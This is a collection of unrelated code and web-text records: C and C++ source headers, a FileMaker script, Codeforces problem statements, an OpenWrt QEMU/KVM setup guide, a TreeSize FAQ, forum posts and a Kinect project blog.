{"text": "#include <stdio.h>\n#include <stdlib.h>\n\n#if defined(_WIN32)\n  #define EXPORT __declspec(dllexport)\n#elif defined(__linux__)\n  #define EXPORT __attribute__((visibility(\"default\")))\n#else\n  #define EXPORT \n#endif\n\nint length = 0;\nchar hello[] = \"Hello World!\";\nint i;\n\nEXPORT int init(){\n    for(i = 0; hello[i] != '\\0'; i++);\n    length = i;\n    i = 0;\n    return 2;\n}\n\nEXPORT void input(char data, int pos){\n\n}\n\nEXPORT char output(int pos){\n    char x;\n    switch(pos){\n        case 0:\n            return (char)(length - i);\n        break;\n        case 1:\n            x = hello[i];\n            i++;\n            return x;\n    }\n    return 0;\n}", "source": "cpt_stack_code", "language": "code", "token_count": 202, "token_count_with_eod": 203, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "You can send your report in this board, please follow the following format:\n- What is the topic?\n- Which server?\n- When did it happen?\n- What is the Issue exactly?\n- Any media (screenshots, clips, logs, etc.) to show/describe the problem?\n- Steamid.io link when reporting a player. You can get the player's steam id in the in-game chat when they join or leave the game, or by holding tab and opening their steam profile from the scoreboard if the gamemode allows it. (i.e what a steam id looks like: STEAM_0:0:49243633)\nA Discord call could be requested to find a solution to the problem or get a better understanding of the issue.\n- Rules on Reports: -\n🐲 Devil Yami 🐲\nOwner and Founder", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The guru of Services Drafts William Normandin I am an experienced web hosting expert with experience building, repairing, and migrating Linux hosted websites. Hello! I am a highly motivated IT professional working in the web hosting field. I have extensive experience in supporting and designing Linux hosted websites, e-mail, DNS, and etc.In addition, my projects have included Python Gtk application design and deployment (using Github), MSSQL Server CRM application development in VBA, PHP site design and deployment, customer database solutions, and more! Work Terms I am available by skype and phone, but prefer e-mail for the text chain it creates. I do have regular employment but I am flexible and willing to work with client needs.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 141, "token_count_with_eod": 142, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "specific action log: updateTimerTotalTimeInTagWindow\n#\n#Stop script if user is NOT in the process of picking a specific action group.\nIf [ $$pick = 1 ]\nShow Custom Dialog [ Message: \"Pick a specific-action tag or click the cancel button in the Tag window. After you do this you\ncan re-calculate total time logged under each tag.\"; Buttons: “OK” ]\nExit Script [ ]\nEnd If\n#\nSet Error Capture [ On ]\nAllow User Abort [ Off ]\n#\n#Prevent windows from flashing and script from slowing\nSet Variable [ $$stopRecordLoad; Value:1 ]\n#\nNew Window [ Height: 1; Width: 1; Top: -1000; Left: -1000 ]\n#\n#This duplicate layout has no script triggers or conditional\n#formatting and so speeds up the script steps.\nGo to Layout [ “IssuesLayoutForScripts” (issue) ]\n#\nSet Variable [ $$stopRecordLoad ]\n#\n#First find all the issues in this category.\nEnter Find Mode [ ]\nSet Field [ issue::_keyBrainstate; $$logBrainstate ]\nSet Field [ issue::lock; \"issue\" ]\nPerform Find [ ]\n#\n#\n#Sort them to trigger the calcuation of their\n#total time.\nSort Records [ Specified Sort Order: issue::_keyCategory; ascending ]\n[ Restore; No dialog ]\n#\nGo to Record/Request/Page\n[ First ]\nSet Variable [ $category; Value:issue::_keyCategory ]\nSet Field [ issueCategory::issueTotalTime; GetSummary ( issue::timeSummary ; issue::_keyCategory ) ]\nLoop\nIf [ $category ≠ issue::_keyCategory ]\nSet Field [ issueCategory::issueTotalTime; GetSummary ( issue::timeSummary ; issue::_keyCategory ) ]\nSet Variable [ $category; Value:issue::_keyCategory ]\nEnd If\nGo to Record/Request/Page\n[ Next; Exit after last ]\nEnd Loop\n#\n#\n#\n#\n#Add up total time for all actions with this category tag.\nGo to Layout [ “calcDayTable” (day1) ]\nEnter Find Mode [ ]\nSet Field [ day1::_keyBrainstate; $$logbrainstate ]\nPerform Find [ ]\nGo to Record/Request/Page\n[ First ]\nLoop\nSet Variable [ $totalTime; Value:$time + day1::swTotalActivity ]\nSet Variable [ $time; Value:$totalTime ]\nGo to Record/Request/Page\n[ Next; Exit after last ]\nEnd Loop\n#\nClose Window [ Current Window ]\nSet Field [ brainstate::totalTimeLogged; $totalTime ]\nSort Records [ Specified Sort Order: issue::order; based on value list: “1-99”\ngroup::text; ascending\ncategory::sortTime; ascending\ncategory::text; ascending ]\n[ Restore; No dialog ]\nSet Field [ reference::tagCatSort; \"group\" ]\n#\n#\nJanuary 3, ଘ౮28 20:25:38 ActionLog.fp7 - updateTimerTotalTimeInTagWindow -1-", "source": "cpt_stack_code", "language": "code", "token_count": 692, "token_count_with_eod": 693, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "This directory is part of a hierarchy that contains stable and occasionally BETA releases of libvanessa_socket\nFor more information about Vanessa please visit http://projects.horms.net/projects/vanessa/\nThe primary download site for libvanessa_socket is http://projects.horms.net/projects/vanessa/download/vanessa_socket/\nPackages & Ports:\nlibvanessa_socket is released under the GNU Lesser Public\nLicence and sample code is released under the GNU General Public Licence.\nCopyright is maintained by the authors, Simon Horman et al.\n(c) 1999-2015 Simon Horman\nDebian is a registered trademark of Software in the Public Interest, Inc.\nUbuntu is a registered trademarks of Canonical Ltd.\nopenSUSE is a trademarks of Novell, Inc. in the United States and other countries.\nThe mark FreeBSD is a registered trademark of The FreeBSD Foundation.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 190, "token_count_with_eod": 191, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Game Development Meta\nto customize your list.\nmore stack exchange communities\nReputation and Badges\nStart here for a quick overview of the site\nDetailed answers to any questions you might have\nDiscuss the workings and policies of this site\nLearn more about Stack Overflow the company\nLearn more about hiring developers or posting ads with us\ntag has no usage guidance.\nSDL2 SDL_PollEvent endless polling on key hold\nWhat is wrong with SDL2 SDL_PollEvent() function? When I press-and-hold a key it enters \"while (SDL_PollEvent())\" block each frame. If in previous frame event queue was emptied and in new frame I ...\nMay 5 at 20:32\nrecently active polling questions feed\nunanswered question tagged\nHot Network Questions\nAre deleted WhatsApp messages still recoverable even after deleting a contact\nNew company doesn't allow 401k deposits for 6 months, what to do with money I used to deposit?\nDid JKR make some kind of an inside joke about Moaning Myrtle's death?\nWill it damage my MacBook if I put it in the fridge to cool it down?\nIs it ethical to use a recommendation letter from a deceased professor?\nHow to reconcile a feudal system with a congressional/parliamentary democracy...?\nDo they really need to fear the White Walkers?\nWhat if a boss requires supervision?\nTo donate something you want to throw away\nHow do I wipe an encrypted USB flash drive?\nA game of words and numbers with no 0's\nIs a cardboard box allowed as carry-on luggage?\nIs it easier to get to and from the moon than to the bottom of the Mariana Trench?\nHow do I prevent a character from being resurrected?\nWhy were women targeted as witches?\nPower sums of p-th roots of unity\nWould biological brain in a box considerably increase life expectancy?\nKnight on the Rim is Grim\nRecursion bracketed; or Dyck words generation\nCan I profit from anticipating a drop in value?\nWhy did he keep the truth from his wife?\nIs it better to return an ImmutableMap or a Map?\nDoes the Dory-like fish actually have a short-term memory loss?\nmore hot questions\nLife / Arts\nCulture / Recreation\nTeX - LaTeX\nUnix & Linux\nAsk Different (Apple)\nGeographic Information Systems\nScience Fiction & Fantasy\nMovies & TV\nSeasoned Advice (cooking)\nPersonal Finance & Money\nEnglish Language & Usage\nMi Yodeya (Judaism)\nCross Validated (stats)\nTheoretical Computer Science\nMeta Stack Exchange\nStack Overflow Careers\nsite design / logo © 2016 Stack Exchange Inc; user contributions licensed under\ncc by-sa 3.0", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 581, "token_count_with_eod": 582, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Knowing the unknown - Discover your organization’s attack surface using Suricata data\nBuilding a vision of an information system is critical in a lot of situations like a MSSP working with a new customer or an incident response case. It is important to know the unknown. Without a clear understanding, decisions about priority and responses will be wrong. This training will introduce a methodology using passive network data monitoring to fix that situation using data that is commonly captured but often disregarded.\nNetwork Security Monitoring data generated by Suricata can be used to build a representation of the internal attack surface within a company network. Inventory tools are often used to determine things such as the list of services on the network but this is a declarative approach and it can not be considered as the ultimate truth. In the case of a large organization, the difference between what is declared in the inventory and the actual reality can differ significantly.\nTraditional approaches to complement inventory rely on scanning the network to find services. Although useful, this scan will not provide information about the usage of these systems and services. And it will not instantly detect updates to the information systems such as a new service being set up and used.\nIn this training, we will show how you can use data collected passively from Suricata sensors to build the attack surface of an organization and track its changes.\nThe training will consist of hands-on exercises where the trainee will analyze PCAP files with Suricata and build searches and dashboards using Kibana and Splunk as well as JQ for fast command line based results and Jupyter notebook for an algorithmic approach.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 321, "token_count_with_eod": 322, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The Greatest Secret Ever consists of n words, indexed by positive integers from 1 to n. The secret needs dividing between k Keepers (let's index them by positive integers from 1 to k), the i-th Keeper gets a non-empty set of words with numbers from the set Ui = (ui, 1, ui, 2, ..., ui, |Ui|). Here and below we'll presuppose that the set elements are written in the increasing order.\n\nWe'll say that the secret is safe if the following conditions are hold:\n\n- for any two indexes i, j (1 ≤ i < j ≤ k) the intersection of sets Ui and Uj is an empty set;\n- the union of sets U1, U2, ..., Uk is set (1, 2, ..., n);\n- in each set Ui, its elements ui, 1, ui, 2, ..., ui, |Ui| do not form an arithmetic progression (in particular, |Ui| ≥ 3 should hold).\n\nLet us remind you that the elements of set (u1, u2, ..., us) form an arithmetic progression if there is such number d, that for all i (1 ≤ i < s) fulfills ui + d = ui + 1. For example, the elements of sets (5), (1, 10) and (1, 5, 9) form arithmetic progressions and the elements of sets (1, 2, 4) and (3, 6, 8) don't.\n\nYour task is to find any partition of the set of words into subsets U1, U2, ..., Uk so that the secret is safe. Otherwise indicate that there's no such partition.", "source": "cpt_codeforces", "language": "en", "token_count": 400, "token_count_with_eod": 401, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You are given a positive integer $$$n$$$, written without leading zeroes (for example, the number 04 is incorrect).\n\nIn one operation you can delete any digit of the given integer so that the result remains a positive integer without leading zeros.\n\nDetermine the minimum number of operations that you need to consistently apply to the given integer $$$n$$$ to make from it the square of some positive integer or report that it is impossible.\n\nAn integer $$$x$$$ is the square of some positive integer if and only if $$$x=y^2$$$ for some positive integer $$$y$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 120, "token_count_with_eod": 121, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Ksusha is a vigorous mathematician. She is keen on absolutely incredible mathematical riddles.\n\nToday Ksusha came across a convex polygon of non-zero area. She is now wondering: if she chooses a pair of distinct points uniformly among all integer points (points with integer coordinates) inside or on the border of the polygon and then draws a square with two opposite vertices lying in the chosen points, what will the expectation of this square's area be?\n\nA pair of distinct points is chosen uniformly among all pairs of distinct points, located inside or on the border of the polygon. Pairs of points p, q (p ≠ q) and q, p are considered the same.\n\nHelp Ksusha! Count the required expectation.", "source": "cpt_codeforces", "language": "en", "token_count": 153, "token_count_with_eod": 154, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "QEMU is an an open source processor emulator (and virtualizer). This document descripes howto run the OpenWrt x86 port in QEMU.\nIt is mixed descriptions from windows and linux, so please read through all of it before starting.\nChoosing different emulation settings can affect performance greatly.\nExample: 30s iperf-s@openwrt(qemu running on host) to host\nne2k_pci:0.0-31.3 sec 14.6 MBytes 3.92 Mbits/sec pcnet: 0.0-30.0 sec 2.38 GBytes 682 Mbits/sec e1000: 0.0-30.0 sec 6.23 GBytes 1.79 Gbits/sec vmxnet3: 0.0-30.0 sec 8.67 GBytes 2.48 Gbits/sec virtio-net-pci: 0.0-30.0 sec 44.6 GBytes 12.8 Gbits/sec\nQemu runs on many different systems.\nMany Linux Distributions like Debian, Ubuntu, Suse, Fedora provide a qemu package in their package repositories.\nExample for Debian 7 (Wheezy):\nsudo apt-get install qemu\nQemu is rapidly developing so features, syntax might change between versions.\nThe QEMU Wiki Links page provides you with several unoffical download links of Windows builds.\nCommand line to get it booting (without a storage device):\nqemu-system-arm -M realview-eb-mpcore -kernel openwrt-realview-vmlinux-initramfs.elf -net nic -net user -nographic\nBasically, use the generated initramfs image as the\nThis target does not support booting from hard disk (\n-hda or other syntax); emulation of the PCI bus is missing (source). However, realview does support SD card image files (\n-sd filename.img); see below.\n(Note: The SD card image generation is in OpenWRT SVN r46924 on newer; it will be part of the Designated Driver release.)\nDownload a nightly kernel and SD-card image from https://downloads.openwrt.org/snapshots/trunk/realview/generic/ - download both\nopenwrt-realview-sdcard.img. Alternatively, you can build your own by choosing the\nrealview target in\nmake menuconfig and then start the build with\nmake world (look for the generated files under\nThen start QEMU with the following command:\nqemu-system-arm -M realview-pbx-a9 -m 1024M -nographic \\ -kernel openwrt-realview-vmlinux.elf \\ -sd openwrt-realview-sdcard.img \\ -append \"console=ttyAMA0 verbose debug root=/dev/mmcblk0p1\"\n-sd rootfs.ext4 \\ -append \"root=/dev/mmcblk0\"\nat least qemu 2.0 required\nslightly modified from target/linx/arm64/README:\nqemu-system-aarch64 -machine virt -cpu cortex-a57 -machine type=virt -nographic \\ -smp 1 -m 2048 \\ -kernel bin/arm64/openwrt-arm64-qemu-virt-initramfs.Image \\ --append \"console=ttyAMA0\"\nUse QEMU >= 2.2 (earlier versions can have bugs with MIPS16) ticket 16881 - Ubuntu 14.03.x LTS uses qemu 2.0 which is has this bug.\nThe \"malta\" platform is meant for use with QEMU for emulating a MIPS system.\nmalta target supports both big and little-endian variants, pick the matching files and qemu version (\nqemu-system-mipsel -kernel openwrt-malta-le-vmlinux-initramfs.elf -nographic -m 256\nIn recent enough versions one can enable ext4 root filesystem image building, and since r46269 ( only in trunk, it's not part of the 15.05 CC release) it's possible to boot straight from that image (without an initramfs):\nqemu-system-mipsel -M malta \\ -hda openwrt-malta-le-root.ext4 \\ -kernel openwrt-malta-le-vmlinux.elf \\ -nographic -append \"root=/dev/sda console=ttyS0\"\nThe x86-64 target has support for ESXI images by default. Booting the VMDK / VDI images might not work with newer qemu versions.\nIMG/VDI/VMDK with \"-hda\" switch do not work with qemu 2.x .\npc-q35-2.0 / q35 emulates a different machine. With new syntax (no -hda , -net) the IMG / VDI / VMDK works here.\nSome emulated network cards might have performance issues.\nqemu-system-x86_64 \\ -enable-kvm \\ -M pc-q35-2.0 \\ -drive file=openwrt-x86_64-combined-ext4.vdi,id=d0,if=none \\ -device ide-hd,drive=d0,bus=ide.0 \\ -drive file=data.qcow2,id=d1,if=none \\ -device ide-hd,drive=d1,bus=ide.1 \\ -soundhw ac97 \\ -netdev bridge,br=virbr0,id=hn0 \\ -device e1000,netdev=hn0,id=nic1 \\ -netdev user,id=hn1 \\ -device e1000,netdev=hn1,id=nic2 qemu-system-x86_64 -M q35 -drive file=openwrt-x86_64-combined-ext4.img,id=d0,if=none,bus=0,unit=0 -device ide-hd,drive=d0,bus=ide.0\nNormally openwrt works on most of the hardware mentioned in the table of hardware\n(search in this wiki), and also on most o0f the hardware that support intel x86 ISA or\ngog.is/site:wiki.openwrt.org x86 in the address bar.\nAnyway some embedded x86 board have particular hardware that is not always well supported\nby the openwrt platform, even if all the\nkmod packages are included in the basic image.\nOne of this x86 compatible hardware family are systems based on intel atom and chipset\nich8m (maybe also others), like the Lex twitter system 3I525U.\nOn that system openwrt is able to run but, for example, is not able to\nmanage really well the possibility of having two wan connections with\ndifferent metric. The request will be always routed to the interface with\nhigher metric also using\nping -I <wan2_interface> 188.8.131.52. Moreover software\nNmap will fail to be bind to certain interfaces.\nSomeone with more knowledge could explain why this happens but as workaround\none can use a more complete linux system (for example debian) as base and then virtualize\ngog.is/site:wiki.openwrt.org virtualization OR qemu OR kvm OR hypervisor in the address bar)\nopenwrt, that in the end requires really a little resources most of the time,\nor one can assign plenty of resources because at the end the base system is quite powerful.\nDebian was installed on a 2Gb cf card through a usb stick and netinstaller, having only the basic system utilities and ssh utilities. 1.1Gb of space were used, 600mb free and the rest swap.\nInstall the following packages:\napt-get install qemu-kvm bridge-utils libvirt-bin virtinst\nThen, if you don't want to use any user but just work with root (the objective is: let run openwrt on the twitter system, not having a well setup debian system):\nThen we have to prepare the network. Modify\n/etc/network/interfaces a follows (adapt according to your needs)\nauto br0 br1 br2 br3 iface br0 inet dhcp bridge_ports eth0 iface br1 inet dhcp bridge_ports eth1 iface br2 inet dhcp bridge_ports eth2 iface br3 inet dhcp bridge_ports eth3\nThe bridges ( https://wiki.debian.org/BridgeNetworkConnections ) are helpful because they allows different network adapters, real or virtual ( network.interfaces to exchange data (as the word 'bridge' suggests) and not only, because the bridge will have a certain mac address but also the virtual interfaces attached to it can have different mac addresses. Here the marvels of the linux networking system have to be explained by someone with more knowledge.\nThen we need to create our virtual machine. The additional packages, apart from\nqemu, will help here. We can issue the following command, using the x86 generic image\nplaced in the folder\nvirt-install --name=openwrt --ram=256 --vcpus=1 --os-type=linux --disk path=/root/openwrt_kvm/openwrt-x86-generic-combined-ext4.img,bus=ide --network bridge=br0,model=e1000 --import # be careful to the model, e1000 let's openwrt recognize the interface. # http://manpages.ubuntu.com/manpages/lucid/man1/virt-install.1.html\nIf you want to interact with the system from command line, use\nFor example to force the shutdown of a virtual machine\nvirsh destroy openwrt\nor to delete the virtual machine (but not the disk file)\nvirsh undefine openwrt.\nFor having multiple interfaces\nvirt-install --name=openwrt --ram=256 --vcpus=1 --os-type=linux --disk path=/root/openwrt_kvm/openwrt-x86-generic-combined-ext4.img,bus=ide \\ --network bridge=br0,model=e1000 --network bridge=br3,model=e1000 --importRemember that the console requires\nctrl+5to exit (german keyboard).\nTo mark a virtual machine for the autostart, type:\nvirsh autostart openwrt.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 2233, "token_count_with_eod": 2234, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Sync Problems = Router Problems?\ni have real difficults to get my zipabox working right.\nsomehow the webinterface and the cloud and the sensors do not communicate right.\na) not all data is transmitted when I sync (f.e. keys tags: I had to do it 10 times to get 4 key tags included)\nb) data gets lost when i sync again after including a new sensor\nmaybe the problem is with the router (?) / firewall?\n(details: I live in the NL, internet by ziggo, router: Technicolor TC7210)\nCan you help me?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 129, "token_count_with_eod": 130, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Vasya wants to buy a new refrigerator. He believes that a refrigerator should be a rectangular parallelepiped with integer edge lengths. Vasya calculated that for daily use he will need a refrigerator with volume of at least V. Moreover, Vasya is a minimalist by nature, so the volume should be no more than V, either — why take up extra space in the apartment? Having made up his mind about the volume of the refrigerator, Vasya faced a new challenge — for a fixed volume of V the refrigerator must have the minimum surface area so that it is easier to clean.\n\nThe volume and the surface area of a refrigerator with edges a, b, c are equal to V = abc and S = 2(ab + bc + ca), correspondingly.\n\nGiven the volume V, help Vasya find the integer lengths for the refrigerator's edges a, b, c so that the refrigerator's volume equals V and its surface area S is minimized.", "source": "cpt_codeforces", "language": "en", "token_count": 198, "token_count_with_eod": 199, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Facetook is a well known social network website, and it will launch a new feature called Facetook Priority Wall. This feature will sort all posts from your friends according to the priority factor (it will be described).\n\nThis priority factor will be affected by three types of actions:\n\n- 1. \"X posted on Y's wall\" (15 points),\n- 2. \"X commented on Y's post\" (10 points),\n- 3. \"X likes Y's post\" (5 points).\n\nX and Y will be two distinct names. And each action will increase the priority factor between X and Y (and vice versa) by the above value of points (the priority factor between X and Y is the same as the priority factor between Y and X).\n\nYou will be given n actions with the above format (without the action number and the number of points), and you have to print all the distinct names in these actions sorted according to the priority factor with you.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "/*****************************************************************************\n\nCopyright (c) 1995, 2020, Oracle and/or its affiliates.\n\nThis program is free software; you can redistribute it and/or modify it under\nthe terms of the GNU General Public License, version 2.0, as published by the\nFree Software Foundation.\n\nThis program is also distributed with certain software (including but not\nlimited to OpenSSL) that is licensed under separate terms, as designated in a\nparticular file or component or in included license documentation. The authors\nof MySQL hereby grant you an additional permission to link the program and\nyour derivative works with the separately licensed software that they have\nincluded with MySQL.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT\nANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\nFOR A PARTICULAR PURPOSE. See the GNU General Public License, version 2.0,\nfor more details.\n\nYou should have received a copy of the GNU General Public License along with\nthis program; if not, write to the Free Software Foundation, Inc.,\n51 Franklin St, Fifth Floor, Boston, MA 02110-1301  USA\n\n*****************************************************************************/\n\n/** @file include/srv0start.h\n Starts the Innobase database server\n\n Created 10/10/1995 Heikki Tuuri\n *******************************************************/\n\n#ifndef srv0start_h\n#define srv0start_h\n\n#include \"log0types.h\"\n#include \"os0thread-create.h\"\n#ifndef UNIV_HOTBACKUP\n#include \"sync0rw.h\"\n#endif /* !UNIV_HOTBACKUP */\n#include \"trx0purge.h\"\n#include \"univ.i\"\n#include \"ut0byte.h\"\n\n// Forward declaration\nstruct dict_table_t;\n\n#ifndef UNIV_DEBUG\n#define RECOVERY_CRASH(x) \\\n  do {                    \\\n  } while (0)\n#else\n#define RECOVERY_CRASH(x)                                  \\\n  do {                                                     \\\n    if (srv_force_recovery_crash == x) {                   \\\n      flush_error_log_messages();                          \\\n      fprintf(stderr, \"innodb_force_recovery_crash=%lu\\n\", \\\n              srv_force_recovery_crash);                   \\\n      fflush(stderr);                                      \\\n      _exit(3);                                            \\\n    }                                                      \\\n  } while (0)\n#endif /* UNIV_DEBUG */\n\n/** If buffer pool is less than the size,\nonly one buffer pool instance is used. */\n#define BUF_POOL_SIZE_THRESHOLD (1024 * 1024 * 1024)\n\n/** Frees the memory allocated by srv_parse_data_file_paths_and_sizes()\n and srv_parse_log_group_home_dirs(). */\nvoid srv_free_paths_and_sizes(void);\n\n/** Adds a slash or a backslash to the end of a string if it is missing\n and the string is not empty.\n @return string which has the separator if the string is not empty */\nchar *srv_add_path_separator_if_needed(\n    char *str); /*!< in: null-terminated character string */\n#ifndef UNIV_HOTBACKUP\n\n/** Open an undo tablespace.\n@param[in]  undo_space  Undo tablespace\n@return DB_SUCCESS or error code */\ndberr_t srv_undo_tablespace_open(undo::Tablespace &undo_space);\n\n/** Upgrade undo tablespaces by deleting the old undo tablespaces\nreferenced by the TRX_SYS page.\n@return error code */\ndberr_t srv_undo_tablespaces_upgrade();\n\n/** Start InnoDB.\n@param[in]\tcreate_new_db\t\tWhether to create a new database\n@return DB_SUCCESS or error code */\ndberr_t srv_start(bool create_new_db) MY_ATTRIBUTE((warn_unused_result));\n\n/** Fix up an undo tablespace if it was in the process of being truncated\nwhen the server crashed. This is the second call and is done after the DD\nis available so now we know the space_name, file_name and previous space_id.\n@param[in]  space_name  undo tablespace name\n@param[in]  file_name   undo tablespace file name\n@param[in]  space_id    undo tablespace ID\n@return error code */\ndberr_t srv_undo_tablespace_fixup(const char *space_name, const char *file_name,\n                                  space_id_t space_id);\n\n/** On a restart, initialize the remaining InnoDB subsystems so that\nany tables (including data dictionary tables) can be accessed. */\nvoid srv_dict_recover_on_restart();\n\n/** Start up the InnoDB service threads which are independent of DDL recovery\n@param[in]\tbootstrap\tTrue if this is in bootstrap */\nvoid srv_start_threads(bool bootstrap);\n\n/** Start the remaining InnoDB service threads which must wait for\ncomplete DD recovery(post the DDL recovery) */\nvoid srv_start_threads_after_ddl_recovery();\n\n/** Start purge threads. During upgrade we start\npurge threads early to apply purge. */\nvoid srv_start_purge_threads();\n\n/** If early redo/undo log encryption processing is done.\n@return true if it's done. */\nbool is_early_redo_undo_encryption_done();\n\n/** Copy the file path component of the physical file to parameter. It will\n copy up to and including the terminating path separator.\n @return number of bytes copied or ULINT_UNDEFINED if destination buffer\n         is smaller than the path to be copied. */\nulint srv_path_copy(char *dest,             /*!< out: destination buffer */\n                    ulint dest_len,         /*!< in: max bytes to copy */\n                    const char *basedir,    /*!< in: base directory */\n                    const char *table_name) /*!< in: source table name */\n    MY_ATTRIBUTE((warn_unused_result));\n\n/** Get the encryption-data filename from the table name for a\nsingle-table tablespace.\n@param[in]\ttable\t\ttable object\n@param[out]\tfilename\tfilename\n@param[in]\tmax_len\t\tfilename max length */\nvoid srv_get_encryption_data_filename(dict_table_t *table, char *filename,\n                                      ulint max_len);\n#endif /* !UNIV_HOTBACKUP */\n\n/** true if the server is being started */\nextern bool srv_is_being_started;\n/** true if SYS_TABLESPACES is available for lookups */\nextern bool srv_sys_tablespaces_open;\n/** true if the server is being started, before rolling back any\nincomplete transactions */\nextern bool srv_startup_is_before_trx_rollback_phase;\n\n/** TRUE if a raw partition is in use */\nextern ibool srv_start_raw_disk_in_use;\n\n#endif", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "//\n//  DZKeyboardAdjust.h\n//  Pods\n//\n//  Created by stonedong on 16/2/21.\n//\n//\n\n#ifndef DZKeyboardAdjust_h\n#define DZKeyboardAdjust_h\n\n#endif /* DZKeyboardAdjust_h */", "source": "cpt_stack_code", "language": "code", "token_count": 60, "token_count_with_eod": 61, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Hello and welcome to our Knowledge Base. Our experts provide answers to the most frequently asked questions of our customers. Start your information search here to find your answer quickly and easily.\nPlease enter your query or select one of the above categories.\nAll entries (Page 11 / 15)\nFirst open the TreeSizeFile Search and configure your search. In your case you should use the \"OldestFiles\" Search or the \"Custom Search\" search for files by their last change datein absolute date (Oldest Files), or interval in days (Custom Search).Note: Do not select anydirectories to scan in the \"Scan Options\"!Than save the searchoptions via \"File > Save Search Options\" (e.g.:\"C:\\TreeSizeSearch\\older_1_year_search_option.xml\")Now use the TreeSize TaskScheduler (\"Tools > Schedule TreeSize Task\"), enter the paths tosearch in at \"Path to scan\" (e.g.: \"C:\\\" \"D:\\\")and select \"Start TreeSize File Search\", \"Use saved searchoptions:\nIf these folder are on the same level, then this is possible, because TreeSize supports wildcards on the root level. Simply scan:\nC:\\Folder\\OF???ARC or \\server\\share\\OF???ARC\nIf this is not the case, you can compile a list that contains only the folders in question by scanning the whole volume, export the results to Excel and filter the lines in question there using Excel 's AutoFilter.\n1) The \"Drives and Paths to Include\" are the drives and directories that will be searched. To search for individual files please activate the \"Custom Search\" type and add the file names on the \"Names\" tab of the custom file search.\n2) To search directories not present in the \"Drives and Paths to Include\" section please add them using the buttons below the list.\n3) Currently you can only copy the contents of the drives panel of the TreeSize main application. But we will add this feature to the TreeSize file search in V5.2 as well.\nThe behaviormay be caused through the fact that the name of the EXE changed fromTSizePro.exe in V4 to TreeSize.exe in V5.There isstill a Tsizepro.exe for compatibility reasons, but this simply callsTreeSize.exe with the given parameters and the exits.\nYes, you can sort TreeSize lists by any shown column by clicking on the header of the column. In case of the \"Last Access \" column, the list is sorted from the oldest to the newest date value. Click the header again to sort the list from the newest to the oldest. This behavior is equivalent to windows explorer.\nIf you run the installation file and provide the parameters\n/PASSWORD=<YourInstallPasswordHere> on the command line, the software will perform an installation without any questions and just adhering to default values. Using\n/VERYSILENT instead of\n/SILENT prevents also a visual feedback. The option\n/DIR=\"X:\\InstallPath\" can be used to specify an alternative target directory for installation.\nPlease use the command line parameter\n/SIZEUNIT N to set the desired size unit in your exports. The parameter N is an integer value, denoting these settings:\n0 = Bytes; 1 = KB; 2 = MB; 3 =GB.\nIf you don't use this option, size information will be made the same way, like it was done in the last export/report.\nThe shown sizes refer to the used hard disk space as shown in the Directory Tree. These sizes indeed could be different, depending on compression and/or cluster size on the harddrive (see also the topic on Wasted Space in the product manual).\nEnabling the TreeSize column for every folder can be done in the folder options menu of the Windows Explorer.\nThe Personal Edition has the same features as the Professional Edition, except that it cannot be used with Windows server operating systems, does not support scans of network shares which are part of a Windows domain, provides no command line options and no scheduled scans.\nThe Personal edition scans network drives if the computer it runs on is not part of a Windows domain and the remote system is not a Windows server. This enables customers of the Personal Edition to scan network drives in their home network, including NAS systems based on Linux and Samba.\nPlease find a comparison chart here.\nThe XML files were meant to store the complete results of a scan for recalling them later and to compare them with the latest scan results. So there was (and is) no need for limiting the result display to a certain scan level.\nIf you are interested only in the uppermost level of the file system, CSV or Excel exports are quite comfortable, too.\nIf you simply want to reduce the total size of the XML file, you could deactivate the statistics on users and file types.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1017, "token_count_with_eod": 1018, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I had to divide this in two parts because of some critical decision making and idea debates.\nYes, on the second day, Samantha and I exchanged ideas and pros and cons of each kind of approach that we could take to accomplish our project :\n- If we use the Microsoft Kinect, we could capture the skeleton of the user via the Infrared Projector and Infrared Sensor on the Kinect, so the vision processing part would be mostly solved. All left would be (though challenging) - the identification of the gesture and mapping gestures to music files. Further, the Kinect has a lot of libraries for both Mac OS X and Windows, and those can be easily used with the Android tablet and Mac and Windows computers.\n- If we use a simple camera with OpenCV for image/video processing, we would have to literally do a PhD thesis within 5 day span to figure out the locations of body joints of the user from a single 2D image. Naturally, for a first-attempt vision project this is difficult. But the advantage would be that the application could be designed for all kinds of devices including the iPhone.\nTo be realistic and to enjoy some risk taking, we decided to start working with the Kinect first and see how that goes. We aim that if the Kinect is not helping us in making the application, we will switch to OpenCV.\nSo, a step-wise plan (mostly tailored for working with the Kinect) is as follows:\n- Get the skeleton image and information of 1 single person.\n- Since the demonstration is in a public and heavily occupied space, focus on the user of our application in the crowded area.\n- Decide a maximum of 3 gestures for demonstration purposes for the application, to be installed by the following procedure:\n- Have SOME user Motion —-> Play Music (Any file)\n- Have 1 SPECIFIC gesture (sequence of postures rather than a ‘still’ posture) —-> Play Music (Any file)\n- Have 1 SPECIFIC gesture 